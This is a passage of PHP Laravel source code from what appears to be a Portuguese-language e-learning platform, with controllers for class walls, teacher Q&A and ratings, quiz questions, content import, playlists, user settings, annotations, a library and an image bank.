(Input::get('qt') == null) $amount = 10; else $amount = Input::get('qt'); if (Turma::find($idTurma) == null) { return response()->json(["error" => "Turma não encontrada!"]); } else { $turma = Turma::with('professor', 'postagens_comentarios', 'escola')->find($idTurma); if (strpos(Auth::user()->permissao, "G") === false && strpos(Auth::user()->permissao, "Z") === false && $turma->user_id != Auth::user()->id && (AlunoTurma::where([['turma_id', '=', $idTurma], ['user_id', '=', Auth::user()->id]])->first() == null)) { return response()->json(["error" => "Você não faz parte desta turma!"]); } if (strpos(Auth::user()->permissao, "Z") !== false || $turma->user_id == Auth::user()->id) { if (md5($turma->id . $turma->created_at) != $turma->codigo_convite) { $newCodigo = md5($turma->id . $turma->created_at); $turma->update([ 'codigo_convite' => $newCodigo ]); } } $alunos = AlunoTurma::with('user')->where('turma_id', '=', $idTurma)->paginate($amount); $success = "Mural carregado com sucesso!"; return response()->json(compact('success', 'turma', 'alunos', 'amount')); } } public function postMuralTurma($idTurma, Request $request) { if (Turma::find($idTurma) == null) { return response()->json(["error" => "Turma não encontrada!"]); } else { $turma = Turma::find($idTurma); if (strpos(Auth::user()->permissao, "G") === false && strpos(Auth::user()->permissao, "Z") === false && $turma->user_id != Auth::user()->id && (AlunoTurma::where([['turma_id', '=', $idTurma], ['user_id', '=', Auth::user()->id]])->first() == null)) { return response()->json(["error" => "Você não faz parte desta turma!"]); } $postagem = PostagemTurma::create([ 'turma_id' => $idTurma, 'user_id' => Auth::user()->id, 'conteudo' => $request->conteudo ]); // if($request->arquivo != null) // { // $originalName = mb_strtolower( $request->arquivo->getClientOriginalName(), 'utf-8' ); // $fileExtension = \File::extension($request->arquivo->getClientOriginalName()); // $newFileNameArquivo = md5( $request->arquivo->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; // $pathArquivo = $request->arquivo->storeAs('uploads/turmas/' . $idTurma . '/arquivos', $newFileNameArquivo, 'local'); // if(!\Storage::disk('local')->put($pathArquivo, file_get_contents($request->arquivo))) // { // \Session::flash('error', 'Não foi possível fazer upload de seu anexo!'); // } // else // { // $postagem->update([ // 'arquivo' => $newFileNameArquivo // ]); // } // } return response()->json(["success" => "Postagem enviada com sucesso!"]); } } public function getDuvidasProfessor($idProfessor) { $professor = User::with('escola')->find($idProfessor); if ($professor == null) { return response()->json(["error" => "Professor não encontrado!"]); } else if (strtoupper($professor->permissao) != "P" && strtoupper($professor->permissao) != "G" && strtoupper($professor->permissao) != "Z") { return response()->json(["error" => "Professor não encontrado!"]); } if (AvaliacaoInstrutor::where('instrutor_id', '=', $idProfessor)->avg('avaliacao') > 0) $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', $idProfessor)->avg('avaliacao'); else $avaliacaoInstrutor = '-'; $duvidas = DuvidaProfessor::where([['professor_id', '=', $idProfessor]])->get(); foreach ($duvidas as $duvida) { $duvida->qt_comentarios = ComentarioDuvidaProfessor::where([['duvida_id', '=', $duvida->id]])->count(); } // dd($duvidas); $success = "Duvidas do professor carregadas com sucesso!"; return response()->json(compact('success', 'duvidas', 'professor', 'avaliacaoInstrutor')); } public function getDuvidaProfessor($idProfessor, $idDuvida) { $duvida = DuvidaProfessor::with('professor', 'user', 'comentarios')->has('professor')->has('user')->find($idDuvida); // dd($duvida); if ($duvida == null) { return response()->json(["error" => "Dúvida não encontrada!"]); } if (AvaliacaoInstrutor::where('instrutor_id', '=', $duvida->professor->id)->avg('avaliacao') > 0) $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', $duvida->professor->id)->avg('avaliacao'); else $avaliacaoInstrutor = '-'; $success = "Duvida carregada com sucesso!"; return response()->json(compact('success', 'duvida', 'avaliacaoInstrutor')); } public function getAvaliacoesProfessor($idProfessor) { $professor = User::with('escola')->find($idProfessor); if ($professor == null) { return response()->json(["error" => "Professor não encontrado!"]); } else if (strtoupper($professor->permissao) != "P" && strtoupper($professor->permissao) != "G" && strtoupper($professor->permissao) != "Z") { return response()->json(["error" => "Professor não encontrado!"]); } //Relatorios avaliacoes instrutor if (AvaliacaoInstrutor::where('instrutor_id', '=', $idProfessor)->avg('avaliacao') > 0) $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', $idProfessor)->avg('avaliacao'); else $avaliacaoInstrutor = '-'; $avaliacoes = AvaliacaoInstrutor::with('user')->where('instrutor_id', '=', $idProfessor)->orderBy('created_at', 'desc')->get(); $success = "Avaliações carregadas com sucesso!"; return response()->json(compact('success', 'professor', 'avaliacoes', 'avaliacaoInstrutor')); } public function postProgressoConteudo($idConteudo, Request $request) { if ($request->tipo == null) { return response()->json(["error" => "Você deve informar o tipo de conteúdo!"]); } elseif ($request->tipo != 1 || $request->tipo != 2) { return response()->json(["error" => "Tipo de conteúdo inválido!"]); } elseif ($request->progresso == null) { return response()->json(["error" => "Você deve informar o progresso do usuário neste conteúdo!"]); } if (!ProgressoConteudo::where([['conteudo_id', '=', $idConteudo], ['tipo', '=', $request->tipo], ['user_id', '=', Auth::user()->id]])->exists()) { ProgressoConteudo::create([ 'conteudo_id' => $idConteudo, 'tipo' => $request->tipo, 'user_id' => Auth::user()->id, 'progresso' => $request->progresso ]); return response()->json(["success" => "Progresso atualizado com sucesso!"]); } else { ProgressoConteudo::where([['conteudo_id', '=', $idConteudo], ['tipo', '=', $request->tipo], ['user_id', '=', Auth::user()->id]])->first()->update([ 'progresso' => $request->progresso ]); return response()->json(["success" => "Progresso atualizado com sucesso!"]); } } } <file_sep>/app/Http/Controllers/Questoes/Admin/QuestoesController.php <?php namespace App\Http\Controllers\Questoes\Admin; use App\Entities\Questoes\Repository as Questoes; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use App\Entities\TesteNivelamento\TesteNivelamento; class QuestoesController extends Controller { private $questoes; public function __construct(Questoes $questoes) { $this->questoes = $questoes; } public function index() { $questoes = $this->questoes->all(); return view('pages.questoes.admin.index', compact('questoes')); } public function indexAjaxAll() { $questoes = $this->questoes->all(); return response()->json($questoes); } /*public function indexAjax($id) { $questao = $this->questoes->find($id); return response()->json($questao); }*/ public function store(Request $request) { $this->validate($request, ['titulo' => 'required']); if ($request->get('tipo') == 2) { $alternativas = json_encode($request->except('_token', 'titulo', 'descricao', 'tipo', 'alternativa_correta')); $this->questoes->store([ 'user_id' => Auth::user()->id, 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'tipo' => $request->get('tipo'), 'alternativas' => $alternativas, 'resposta_correta' => $request->get('alternativa_correta') ]); } else { $this->questoes->store([ 'user_id' => Auth::user()->id, 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'tipo' => $request->get('tipo') ]); } return redirect()->route('gestao.questoes.listar')->with('message', 'Cadastro realizado com sucesso!'); } public function storeAjax(Request $request) { $this->validate($request, ['titulo' => 'required']); if ($request->get('tipo') == 2) { $alternativas = json_encode($request->except('_token', 'titulo', 'descricao', 'tipo', 'alternativa_correta')); $store = $this->questoes->store([ 'user_id' => Auth::user()->id, 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'tipo' => $request->get('tipo'), 'alternativas' => $alternativas, 'resposta_correta' => $request->get('alternativa_correta') ]); return $store->id; } else { $store = $this->questoes->store([ 'user_id' => Auth::user()->id, 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'tipo' => $request->get('tipo') ]); return $store->id; } //return "Questão cadastrada com sucesso!"; } public function update($idQuestao, Request $request) { $this->validate($request, ['titulo' => 'required']); if ($request->get('tipo') == 2) { $alternativas = json_encode($request->except('_token', 'titulo', 'descricao', 'tipo', 'alternativa_correta')); $this->questoes->update($idQuestao, [ 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'tipo' => $request->get('tipo'), 'alternativas' => $alternativas, 'resposta_correta' => $request->get('alternativa_correta') ]); } else { $this->questoes->update($idQuestao, [ 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'tipo' => $request->get('tipo'), 'alternativas' => null, 'resposta_correta' => null ]); } return redirect()->route('gestao.questoes.listar')->with('message', 'Questão atualizada com sucesso!'); } public function delete(Request $request) { $questao = $this->questoes->find($request->idQuestao); $TesteNivelamento = TesteNivelamento::get($questao->teste_id); if(!$TesteNivelamento->isEmpty()) { return redirect()->back()->withErrors("Questão não pode ser excluída, está associada a um teste de nivelamento!"); } $this->questoes->delete($request->idQuestao); return redirect()->route('gestao.questoes.listar')->with('message', 'Questão excluída com sucesso!'); } } <file_sep>/app/Http/Controllers/Importacao/AulaConteudoController.php <?php namespace App\Http\Controllers\Importacao; use App\Conteudo; use App\ConteudoAula; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Storage; use Redirect; class AulaConteudoController extends ImportacaoController { public function aulaConteudo($idCurso, $idAula, Request $request) { if($request->hasFile('fileImportAulaConteudo')) { if($request->file('fileImportAulaConteudo')->getClientOriginalExtension() != 'tz') { return Redirect::back()->withErrors(['Arquivo de importação inválido!']); } $userId = Auth::user()->id; $fileContent = file_get_contents($request->file('fileImportAulaConteudo')->getPathName()); $decodeAsArray = json_decode($fileContent, true); $arrAulaConteudo = (isset($decodeAsArray['aula_conteudo'])) ? $decodeAsArray['aula_conteudo'] : false; if(!$arrAulaConteudo) { return Redirect::back()->withErrors(['Arquivo de importação não é do tipo aula_conteudo!']); } //Adiciona Conteúdo Importado $conteudo = new Conteudo(); $conteudo->user_id = $userId; $conteudo->forceFill($arrAulaConteudo); $conteudo->save(); $insertedConteudoId = $conteudo->id; //Cria Relacionamento do Conteúdo Importado com o Curso/Aula $conteudoAula = new ConteudoAula(); $conteudoAula->ordem = 999; $conteudoAula->conteudo_id = $insertedConteudoId; $conteudoAula->curso_id = $idCurso; $conteudoAula->aula_id = $idAula; $conteudoAula->user_id = $userId; $conteudoAula->obrigatorio = 1; $conteudoAula->save(); return Redirect::back()->with('message', 'Conteúdo importado com sucesso!'); } else { return Redirect::back()->withErrors(['Arquivo de importação não existe!']); } } }<file_sep>/app/Http/Controllers/GamificacaoUsuario/Api/GamificacaoUsuarioController.php <?php namespace App\Http\Controllers\GamificacaoUsuario\Api; use App\Entities\GamificacaoUsuario\GamificacaoUsuario; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class GamificacaoUsuarioController extends Controller { public function incrementar($idUsuario, Request $request) { try { $user = GamificacaoUsuario::where('user_id', $idUsuario)->first(); if (empty($user) === true) { GamificacaoUsuario::create(['user_id' => $idUsuario, 'xp' => $request->get('xp')]); } else { $xp = GamificacaoUsuario::where('user_id', $idUsuario)->first(); GamificacaoUsuario::find($xp->id)->update(['xp' => $xp->xp + $request->get('xp')]); } return response()->json(["success" => "Incrementação adicionada com sucesso!"]); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao registar a incrementação.", "message:" => $exception->getMessage()]); } } public function listar($idUsuario) { try { $xp = GamificacaoUsuario::where('user_id', $idUsuario)->select('xp')->first(); return response()->json($xp); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao listar.", "message:" => $exception->getMessage()]); } } } <file_sep>/app/Http/Controllers/API/PlaylistController.php <?php namespace App\Http\Controllers\API; use App\Http\Controllers\Controller; use App\Entities\Playlist\Playlist; use Illuminate\Http\Request; use Illuminate\Http\Response; use Illuminate\Support\Facades\Validator; use Tymon\JWTAuth\Facades\JWTAuth; class PlaylistController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $user = JWTAuth::toUser(); try { $playlists = Playlist::where("user_id", $user->id)->orderBy("id", "DESC") ->select("playlists.id", "playlists.user_id", "playlists.user_id as artist", "playlists.titulo", "playlists.created_at") ->with(["audios" => function ($query) { $query->select("audios.id", "audios.titulo as title", "audios.user_id as artist", "audios.file as url", "audios.descricao"); }]) ->get(); return response()->json(["data" => $playlists]); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao listar.", "message" => $exception->getMessage()], 500); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $user = JWTAuth::toUser(); $validate = Validator::make($request->all(), [ "titulo" => ["required"], "audio_id" => ["required"], ], [ "audio_id.required" => "Selecione pelo menos 1 áudio em sua playlist." ]); if ($validate->fails()) return response()->json(["error" => $validate->errors()], 500); try { $playlist = Playlist::create([ "user_id" => $user->id, "titulo" => $request->get("titulo") ]); $playlist->audios()->attach($request->get("audio_id")); return response()->json(["message" => "Playlist cadastrada com sucesso!"]); } catch (\Exception $exception) { return response()->json(["error" => $exception->getMessage()], 500); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $user = JWTAuth::toUser(); try { $playlist = Playlist::where("user_id", $user->id) ->select("playlists.id", "playlists.user_id", "playlists.user_id as artist", "playlists.titulo", "playlists.created_at") ->with(["audios" => function ($query) { $query->select("audios.id", "audios.titulo as title", "audios.user_id as artist", "audios.file as url", "audios.descricao"); }]) ->find($id); if (!$playlist) { return response()->json(["error" => "Nenhuma playlist foi encontrada"], 404); } return response()->json($playlist); } catch (\Exception $exception) { return response()->json(["error" => $exception->getMessage()], 500); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $user = JWTAuth::toUser(); $validate = Validator::make($request->all(), ["titulo" => ["required"]]); if ($validate->fails()) return response()->json(["error" => $validate->errors()], 500); try { Playlist::where("user_id", $user->id)->find($id)->update(["titulo" => $request->get("titulo")]); return response()->json(["message" => "Playlist atualizada com sucesso!"]); } catch (\Exception $exception) { return response()->json(["error" => $exception->getMessage()], 500); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { try { $playlist = Playlist::find($id); $playlist->audios()->detach(); $playlist->delete(); return response()->json(["message" => "Playlist removida com sucesso!"]); } catch (\Exception $exception) { return response()->json(["error" => $exception->getMessage()], 500); } } } <file_sep>/app/Http/Controllers/ConfiguracaoController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Image; use Auth; use Session; use App\User; use App\AvaliacaoInstrutor; use App\Transacao; use App\ProdutoTransacao; // use App\EnderecoUser; use App\EnderecoUser; use App\ConfiguracoesNotificacoesUser; class ConfiguracaoController extends Controller { public function index() { $user = User::with('escola', 'endereco', 'notificacoes')->find(\Auth::user()->id); $transacoes = Transacao::where('user_id', '=', Auth::user()->id)->orderBy('created_at', 'desc')->get(); foreach ($transacoes as $transacao) { $transacao->produtos = ProdutoTransacao::where([['transacao_id', '=', $transacao->referencia_id], ['user_id', '=', Auth::user()->id]])->get(); } $totalGasto = Transacao::where('user_id', '=', Auth::user()->id)->sum('total'); foreach ($transacoes as $transacao) { switch ($transacao->status) { case 2: $transacao->status_name = "Processando pagamento"; break; case 3: $transacao->status_name = "Paga"; break; case 4: $transacao->status_name = "Concluída"; break; case 5: $transacao->status_name = "Em disputa"; break; case 6: $transacao->status_name = "Devolvida"; break; case 7: $transacao->status_name = "Cancelada"; break; case 8: $transacao->status_name = "Debitado"; break; case 9: $transacao->status_name = "Retenção temporária"; break; default: $transacao->status_name = "Aguardando pagamento"; break; } } return view('pages.configuracoes-conta.index')->with(compact('user', 'transacoes', 'totalGasto')); } public function avaliacoes() { $professor = User::with('escola')->find(Auth::user()->id); if ($professor == null) { return redirect()->back()->withErrors("Professor não encontrado!"); } else if (strtoupper($professor->permissao) != "P" && strtoupper($professor->permissao) != "G" && strtoupper($professor->permissao) != "Z") { return redirect()->back()->withErrors("Professor não encontrado!"); } //Relatorios avaliacoes instrutor if (AvaliacaoInstrutor::where('instrutor_id', '=', $professor->id)->avg('avaliacao') > 0) $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', $professor->id)->avg('avaliacao'); else $avaliacaoInstrutor = '-'; $avaliacoes = AvaliacaoInstrutor::with('user')->where('instrutor_id', '=', $professor->id)->orderBy('created_at', 'desc')->get(); return view('professor.avaliacoes')->with(compact('professor', 'avaliacoes', 'avaliacaoInstrutor')); } public function trocarEmail(Request $request) { Auth::user()->update([ 'email' => $request->email ]); Session::flash('success', 'Dados alterados com sucesso!'); return redirect()->back(); } public function salvarDados(Request $request) { // dd($request->all()); if ($request->instituicao == null) $request->instituicao = ""; if ($request->descricao == null) $request->descricao = ""; $user = Auth::user(); $dataNascimento = $request->data_nascimento != null ? $request->data_nascimento : $user->data_nascimento; $dataNascimento = str_replace('/', '-', $dataNascimento); $dataNascimento = date('Y-m-d', strtotime($dataNascimento)); $user->update([ 'name' => $request->name != null ? $request->name : $user->name, 'nome_completo' => $request->nome_completo != null ? $request->nome_completo : $user->nome_completo, 'telefone' => $request->telefone != null ? $request->telefone : $user->telefone, 'instituicao' => $request->instituicao != null ? $request->name : $user->instituicao, 'descricao' => $request->descricao != null ? $request->descricao : $user->descricao, 'genero' => $request->genero != null ? $request->genero : $user->genero, 'data_nascimento' => $dataNascimento, ]); EnderecoUser::updateOrCreate([ 'user_id' => Auth::user()->id ], [ 'user_id' => Auth::user()->id, "cep" => $request->cep, "uf" => $request->uf, "cidade" => $request->cidade, "bairro" => $request->bairro, "logradouro" => $request->logradouro, "numero" => $request->numero, "complemento" => $request->complemento, ]); Session::flash('success', 'Dados alterados com sucesso!'); return redirect()->back(); } public function trocarFotoPerfil(Request $request) { $fileExtension = \File::extension($request->foto->getClientOriginalName()); $newFileName = md5($request->foto->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathFoto = $request->foto->storeAs('uploads/usuarios/perfil', $newFileName, 'local'); if ($img = Image::make(file_get_contents($request->foto))) { $img->resize(250, null, function ($constraint) { $constraint->aspectRatio(); $constraint->upsize(); }); $img->encode('jpg', 85); // // $img->save($path); } // if(!\Storage::disk('local')->put($pathFoto, file_get_contents($request->foto))) if (!\Storage::disk('local')->put($pathFoto, $img)) { \Session::flash('middle_popup', 'Ops! Algo deu errado.'); \Session::flash('popup_style', 'danger'); } else { $user = User::find(\Auth::user()->id); if ($user->img_perfil != null && $user->img_perfil != "") { if (\Storage::disk('local')->has('uploads/usuarios/perfil/' . $user->img_perfil)) { \Storage::disk('local')->delete('uploads/usuarios/perfil/' . $user->img_perfil); } } $user->img_perfil = $newFileName; $user->save(); } return redirect()->back(); } public function trocarSenha(Request $request) { // dd($request); $user = \Auth::user(); if (strlen($request->senha_nova) < 6) { \Session::flash('middle_popup', 'A sua nova senha deve ter no mínimo 6 caracteres!'); \Session::flash('popup_style', 'warning'); return redirect()->back(); } if (\Hash::check($request->senha_nova, $user->password)) { \Session::flash('middle_popup', 'A sua nova senha deve ser diferente da anterior!'); \Session::flash('popup_style', 'warning'); return redirect()->back(); } if ($request->senha_nova != $request->senha_confirmacao) { \Session::flash('middle_popup', 'A senha de confirmação deve ser idêntica a sua nova senha!'); \Session::flash('popup_style', 'warning'); return redirect()->back(); } if (\Hash::check($request->senha_atual, $user->password) == false) { \Session::flash('middle_popup', 'A sua antiga senha está incorreta!'); \Session::flash('popup_style', 'danger'); return redirect()->back(); } $user->update([ 'password' => \Hash::make($request->senha_nova) ]); \Session::flash('success', 'Senha alterada com sucesso!'); return redirect()->back(); } public function notificacoes(Request $request) { //dd($request->all()); foreach ($request->all() as $key => $value) { if($value == 'on') { $request[$key] = true; } } if($request->has('rcb_notif_resp_professor') == false) { $request->request->add(['rcb_notif_resp_professor' => false]); } if($request->has('rcb_notif_resp_aluno') == false) { $request->request->add(['rcb_notif_resp_aluno' => false]); } if($request->has('rcb_notif') == false) { $request->request->add(['rcb_notif' => false]); } ConfiguracoesNotificacoesUser::updateOrCreate(['user_id' => Auth::user()->id], $request->all()); return redirect()->back()->with('success', 'Configurações de Notificações Salvas com Sucesso!'); //return redirect()->back(); } } <file_sep>/app/Generals/Presenter/PlanoAula/PlanoAulaAnexoPresenter.php <?php namespace App\Generals\Presenter\PlanoAula; use Laracasts\Presenter\Presenter; class PlanoAulaAnexoPresenter extends Presenter { public function planoAnexoTipo() { if ($this->tipo === 1) { return 'Atividades'; } if ($this->tipo === 2) { return 'Materiais'; } return 'Nenhum tipo encontrado'; // 1 atividades - 2 materiais } } <file_sep>/app/ImagemBanco.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; use Carbon\Carbon; class ImagemBanco extends Model { protected $table = 'imagem_banco'; //Preenchiveis protected $fillable = [ 'id', 'user_id', 'escola_id', 'titulo', 'descricao', 'original_name', 'file_name', 'visibilidade', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'escola_id' => 1, 'visibilidade' => 0, ]; public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/Escola.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class Escola extends Model { //Preenchiveis protected $fillable = [ 'user_id', 'titulo', 'descricao', 'capa', 'postagem_aberta', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'descricao' => '', 'capa' => '', 'postagem_aberta' => 1, ]; public function user() { return $this->belongsTo('App\User', 'user_id'); } public function usuarios() { return $this->hasMany('App\User', 'user_id'); } public function alunos() { return $this->hasMany('App\User', 'escola_id'); } public function alunos_exp() { return $this->hasMany('App\User', 'escola_id')->with('gamificacao'); } public function postagens() { return $this->hasMany('App\PostagemEscola', 'escola_id')->orderBy('created_at', 'desc'); } public function postagens_comentarios() { return $this->hasMany('App\PostagemEscola', 'escola_id')->with('user', 'comentarios')->orderBy('created_at', 'desc'); } public function postagens_gestao() { return $this->hasMany('App\PostagemGestaoEscola', 'escola_id')->orderBy('created_at', 'desc'); } public function postagens_gestao_comentarios() { return $this->hasMany('App\PostagemGestaoEscola', 'escola_id')->with('user', 'comentarios')->orderBy('created_at', 'desc'); } public function avaliacoes() { return $this->hasMany('App\AvaliacaoEscola', 'escola_id'); } public function avaliacoes_user() { return $this->hasMany('App\AvaliacaoEscola', 'escola_id')->with('user'); } } <file_sep>/app/Http/Controllers/Anotacao/AnotacaoController.php <?php namespace App\Http\Controllers\Anotacao; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Auth; use App\Entities\Anotacao\Anotacao; class AnotacaoController extends Controller { public function nova(Request $request) { if(!Auth::check()) { return response()->json(['error' => 'Você precisa estar logado para realizar anotações!']); } elseif(Auth::user()->id == null) { return response()->json(['error' => 'Você precisa estar logado para realizar anotações!']); } if($request->trecho == null) $request->trecho = ''; if($request->anotacao == null) $request->anotacao = ''; if($request->pos_y == null) $request->pos_y = 0; if($request->pos_x == null) $request->pos_x = 0; if($request->start == null) $request->start = 0; if($request->end == null) $request->end = 0; $anotacao = Anotacao::create([ 'user_id' => Auth::id(), 'conteudo_id' => $request->conteudo_id, 'pagina' => $request->pagina, 'trecho' => $request->trecho, 'anotacao' => $request->anotacao, 'pos_y' => $request->pos_y, 'pos_x' => $request->pos_x, 'start' => $request->start, 'end' => $request->end, ]); return response()->json(['success' => 'Anotação criada com sucesso!', 'anotacao_id' => $anotacao->id, 'anotacao' => $anotacao]); } public function deletar($conteudo_id, $anotacao_id) { if(Anotacao::where([['id', '=', $anotacao_id], ['user_id', '=', Auth::id()], ['conteudo_id', '=', $conteudo_id]])->first() != null) { Anotacao::find($anotacao_id)->where([['user_id', '=', Auth::id()], ['conteudo_id', '=', $conteudo_id]])->first()->delete(); return response()->json(['success' => 'Anotação deletada com sucesso!']); } else { return response()->json(['error' => 'Anotação não encontrado!']); } } } <file_sep>/app/Http/Controllers/BibliotecaController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Storage; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Escola; use App\Categoria; use App\Conteudo; use App\Aplicacao; use App\AvaliacaoConteudo; use App\AvaliacaoInstrutor; use App\Metrica; class BibliotecaController extends Controller { public function index() { if(Input::get('qt') == null) $amount = 100; else $amount = Input::get('qt'); if(Input::get('ordem') == null) $ordem = "recentes"; else $ordem = Input::get('ordem'); if(Input::get('categoria') == null) $categoria = ""; elseif(Input::get('categoria') == "geral") $categoria = ""; else $categoria = Input::get('categoria'); if($categoria != null) { if(Categoria::where('titulo', '=', $categoria)->first() != null) { $categoria = Categoria::where('titulo', '=', $categoria)->first()->id; } } // Carregar aplicacoes if(Input::get('pesquisa') == null || Input::get('pesquisa') == "") { $pesquisa = null; if($categoria != null) $aplicacoes = Aplicacao::take($amount)->where([['status', '=', '1'], ['categoria', '=', $categoria]]); else $aplicacoes = Aplicacao::take($amount)->where([['status', '=', '1']]); if($categoria != null) $conteudos = Conteudo::take($amount)->where([['status', '=', '1'], ['categoria', '=', $categoria]]); else $conteudos = Conteudo::take($amount)->where([['status', '=', '1']]); } else { $aplicacoes = Aplicacao::take($amount)->where([['status', '=', '1'], ['titulo', 'like', '%' . Input::get('pesquisa') . '%']]) ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); $conteudos = Conteudo::take($amount)->where([['status', '=', '1'], ['titulo', 'like', '%' . Input::get('pesquisa') . '%']]) ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); } if($ordem == 'recentes') { $aplicacoes = $aplicacoes->orderBy('created_at', 'desc'); $conteudos = $conteudos->orderBy('created_at', 'desc'); $ordem = "Mais recentes"; } elseif($ordem == 'antigos') { $aplicacoes = $aplicacoes->orderBy('created_at', 'asc'); $conteudos = $conteudos->orderBy('created_at', 'asc'); $ordem = "Mais antigos"; } elseif($ordem == 'alfabetica') { $aplicacoes = $aplicacoes->orderBy('titulo', 'asc'); $conteudos = $conteudos->orderBy('titulo', 'asc'); $ordem = "Ordem Alfabética"; } $aplicacoes = $aplicacoes->get(); $conteudos = $conteudos->get(); $categorias = Categoria::take(8)->get(); $videos = $conteudos->filter(function ($c) { return $c->tipo == 3; }); $slides = $conteudos->filter(function ($c) { return ($c->tipo == 4 && (strpos($c->conteudo, ".ppt") !== false || strpos($c->conteudo, ".pptx") !== false)); }); $documentos = $conteudos->filter(function ($c) { return $c->tipo == 1 || ($c->tipo == 4 && (strpos($c->conteudo, ".ppt") == false && strpos($c->conteudo, ".pptx") == false)); }); $apostilas = $conteudos->filter(function ($c) { return $c->tipo == 11; }); return view('biblioteca')->with( compact('conteudos', 'videos', 'slides', 'apostilas', 'documentos', 'aplicacoes', 'amount', 'ordem', 'categorias') ); } } <file_sep>/app/Entities/TesteNivelamento/TesteNivelamentoDirecionamento.php <?php namespace App\Entities\TesteNivelamento; use Illuminate\Database\Eloquent\Model; class TesteNivelamentoDirecionamento extends Model { protected $table = "teste_nivelamento_direcionamento"; //Preenchiveis protected $fillable = [ 'teste_id', 'regra', 'pontuacao', 'direcionamento' ]; } <file_sep>/database/migrations/2019_08_08_111945_create_conteudos_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateConteudosTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('conteudos', function(Blueprint $table) { $table->integer('id', true); $table->integer('user_id'); $table->string('titulo'); $table->text('descricao'); $table->integer('status'); $table->integer('tipo'); $table->text('conteudo'); $table->float('tempo', 10, 0)->nullable(); $table->integer('duracao')->nullable(); $table->text('apoio', 65535)->nullable(); $table->text('fonte')->nullable(); $table->text('autores')->nullable(); $table->integer('categoria_id'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('conteudos'); } } <file_sep>/app/Http/Controllers/BancoImagensController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\ImagemBanco; class BancoImagensController extends Controller { public function index () { $imagens = ImagemBanco::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $imagens = ImagemBanco::when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }) ->get(); return view('gestao.banco-imagens')->with( compact('imagens') ); } public function store(Request $request) { // dd($request); if(isset($request->arquivo_imagem)) { $originalName = mb_strtolower( $request->arquivo_imagem->getClientOriginalName(), 'utf-8' ); $fileExtension = \File::extension($request->arquivo_imagem->getClientOriginalName()); $newFileNameArquivo = md5( $request->arquivo_imagem->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathArquivo = $request->arquivo_imagem->storeAs('uploads/banco-imagens', $newFileNameArquivo, 'local'); if(!\Storage::disk('local')->put($pathArquivo, file_get_contents($request->arquivo_imagem))) { return redirect()->back()->with('error', 'Não foi possível fazer upload da imagem, por favor tente novamente!'); } } // else if(isset($request->url_imagem)) // { // $conteudo = $request->url_imagem; // } else { return redirect()->back()->with('error', 'Você deve anexar a imagem que deseja fazer upload!'); } ImagemBanco::create([ 'user_id' => \Auth::user()->id, 'escola_id' => \Auth::user()->escola_id, 'titulo' => $request->titulo, 'descricao' => $request->descricao, 'original_name' => $originalName, 'file_name' => $newFileNameArquivo, 'visibilidade' => $request->visibilidade == null ? 0 : $request->visibilidade, ]); return redirect()->back()->with('message', 'Imagem criada com sucesso!'); } public function update(Request $request) { // dd($request); if(ImagemBanco::find($request->imagem_id) != null) { $imagem = ImagemBanco::find($request->imagem_id); if(isset($request->arquivo_imagem)) { $originalName = mb_strtolower( $request->arquivo_imagem->getClientOriginalName(), 'utf-8' ); $fileExtension = \File::extension($request->arquivo_imagem->getClientOriginalName()); $newFileNameArquivo = md5( $request->arquivo_imagem->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathArquivo = 